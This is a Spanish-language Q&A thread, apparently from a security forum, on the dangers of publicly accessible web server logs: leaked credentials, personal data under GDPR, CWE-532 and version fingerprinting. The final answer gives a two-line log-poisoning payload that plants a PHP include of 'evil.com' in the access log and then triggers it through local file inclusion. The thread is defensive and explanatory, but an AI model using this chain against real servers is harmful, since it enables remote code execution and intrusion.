El acceso a los archivos de registro del servidor web a través de una URL tiene un cierto atractivo, ya que proporciona un acceso fácil. Pero, ¿cuáles son los riesgos de seguridad de permitir el acceso abierto a los archivos de registro?
Hay claramente 2 líneas diferentes de defensa aquí.
Primero, nunca se deben registrar datos altamente confidenciales (secretos, generalmente contraseñas) para evitar el compromiso a través de los registros.
Pero cuanto más sepa un atacante sobre un sistema, mayor será el riesgo de crear / usar un ataque dirigido. Por ejemplo, las versiones de software no son muy sensibles y pueden alimentar un registro de manera razonable, pero pueden ayudar a elegir un vector de ataque.
Entonces, la segunda línea de defensa es que alguien que no necesita acceso a los registros no debería poder leerlos. Esa es una aplicación directa de la regla de privilegios mínimos.
Es común proporcionar acceso de registro al equipo de desarrollo / mantenimiento, pero usted debe evaluar la relación riesgo / ganancia, de acuerdo con sus herramientas de seguridad de acceso. El sistema más seguro es el que ningún usuario puede acceder, pero su uso también es muy bajo ...
El acceso a los datos de registro sin procesar debe estar restringido a los usuarios autorizados.
La sencilla razón de esto es que incluso cuando se encuentre bajo condiciones de funcionamiento normales , sus aplicaciones pueden no deberían registrar ningún dato demasiado sensible para exponerlo ( y las opiniones / regulaciones sobre qué es exactamente eso pueden diferir) es casi seguro que llegará un momento en que sus registros contengan datos confidenciales:
A menos que esté muy familiarizado con sus aplicaciones, no sabe de antemano qué detalles se registrarán cuando la aplicación genere errores o excepciones.
La mayoría de las aplicaciones están diseñadas para restringir la cantidad de detalles en los mensajes de error que presentan a los usuarios finales, pero registrarán (mucho) más detalles en sus registros para ayudar a los administradores y desarrolladores a solucionar la causa de esos errores y excepciones.
Es posible que deba aumentar la verbosidad del registro para la resolución de problemas a un nivel tal que los registros contengan detalles confidenciales que normalmente se suprimirían.
Como las personas comentaron: las personas que ingresan contraseñas para los nombres de inicio de sesión y los desarrolladores que usan el método GET en lugar de POST y una gran cantidad de errores humanos similares pueden dar como resultado campos mucho más inocuos en los eventos de registro que se "contaminan" con datos confidenciales .
Hay productos que le permitirán otorgar a los usuarios autenticados acceso basado en web y establecer ACL para informes agregados, datos de registro saneados / filtrados y / o todos los eventos de registro sin procesar, como Splunk, Kibana y similares.
Y aunque el acceso a los datos de registro sin procesar debe estar restringido, aún puede decidir publicar más públicamente un subconjunto desinfectado de sus registros o los informes que generaría según los registros, es decir, publicar un informe de uso y estadísticas de visitantes en lugar de el registro de acceso en bruto
Tiene más puntos de vista:
1) Al no ocultar los registros, expone su infraestructura.
2) EU tiene un GDPR. Se prohíbe la exposición de direcciones IP, nombres, correos electrónicos o cualquier cosa personal. (y al menos comportamiento inmoral y malo) gdpr-info.eu/art-32-gdpr
Si necesita mostrar los datos registrados a un tercero o una herramienta dedicada de fácil acceso, use. En mi oficina es graylog por ejemplo. Puede cosechar fácilmente los registros, almacenarlos y controlar el acceso a ellos.
Las vulnerabilidades que pueden surgir de los tipos de información grabada en los archivos de registro se enumeran como CWE-532 en la base de datos de enumeración de debilidad común.
La información escrita en los archivos de registro puede ser de naturaleza sensible y brindar una guía valiosa a un atacante o exponer información confidencial del usuario.
El tema de la información protegida y de identificación personal también es bastante relevante, como se explica en la respuesta de @KOLEGA anterior.
Incluso si no registra información confidencial de manera intencional, a veces se puede registrar de forma inadvertida.
Por ejemplo, suponga que registra el nombre de usuario de los inicios de sesión fallidos. A veces, las personas escriben su contraseña accidentalmente en el campo de nombre de usuario y esto se registrará.
Es mejor tratar los registros como potencialmente conteniendo información que debería protegerse, incluso si normalmente no lo considera confidencial.
Los archivos de registro deben estar ubicados en una ubicación segura por defecto en general. Los archivos de registro pueden contener direcciones IP, correos electrónicos e información protegida por la ley. Así que mi recomendación siempre es mantener los archivos de registro en una ubicación segura. Por otro lado, en algunos casos, estos archivos de registro se utilizan con fines forenses y, si es posible, debe proteger su modificación, esto depende un poco de su sistema.
Como dijo Serge Ballesta, la información confidencial (nombres de usuario, contraseñas, etc.) en realidad nunca debe incluirse en un archivo de registro.
El principal problema de seguridad real que se deriva de tener archivos de registro accesibles al público proviene de la obtención de información sobre su sistema, especialmente si está usando software disponible públicamente (no desarrollado para ese sistema único).
Si estoy intentando obtener acceso a su sistema, una cosa que podría comprobar PRIMERO es su archivo de registro. Si soy capaz de discernir qué software está ejecutando su sistema, y lo que es más importante, qué VERSIÓN de ese software se está utilizando, puedo restringir drásticamente mi búsqueda de vulnerabilidades. Quizás no haya actualizado su software a la versión más reciente, hay un error en la versión anterior que me permite usar la inyección SQL y hay una línea en su registro que indica la versión actual del software que se está utilizando.
Se trata del mismo nivel de riesgo de seguridad que el uso de código fuente abierto. Simplemente hace que sea un poco más fácil para un atacante encontrar exploits. Alimento para el pensamiento.
Algunas buenas respuestas aquí, pero no completas.
Sí, potencialmente, sus archivos de registro pueden contener datos confidenciales, por lo tanto, los datos deben restringirse explícitamente a aquellos usuarios que están autorizados a acceder a ellos. Lamentablemente, mi experiencia es que la mayoría de las organizaciones que implementan este tipo de control, juzgan mal la cantidad de personas a las que se debe autorizar.
Pero otro punto importante es que los usuarios controlan muchos de los datos que posteriormente aparecen en los archivos de registro. Dependiendo de la arquitectura del sistema de su aplicación, esto puede proporcionar un mecanismo para aprovechar una vulnerabilidad de inclusión de archivos locales en una explotación completa. Considera:
GET /nonesuch%3C%3Finclude%20'http://evil.com/attack';%3F%3E
GET /vulnerable.php?file=/var/log/httpd/error_log
Este puede ser mitigado por la forma en que su servidor web maneja la codificación de la solicitud en la entrada y al escribir en los archivos de registro (pero ¿es completamente impermeable?). Si permite que el servidor web acceda a la ubicación del archivo de registro directamente a través de una URL, el mecanismo de escalación es ligeramente diferente.
(Tenga en cuenta que en el ejemplo anterior, si es posible invocar una inclusión remota, es probable que sea posible en todo el código, por lo tanto, la persistencia del exploit en el archivo de registro es redundante, pero esto es solo para fines ilustrativos , se pueden escribir exploits mas complejos)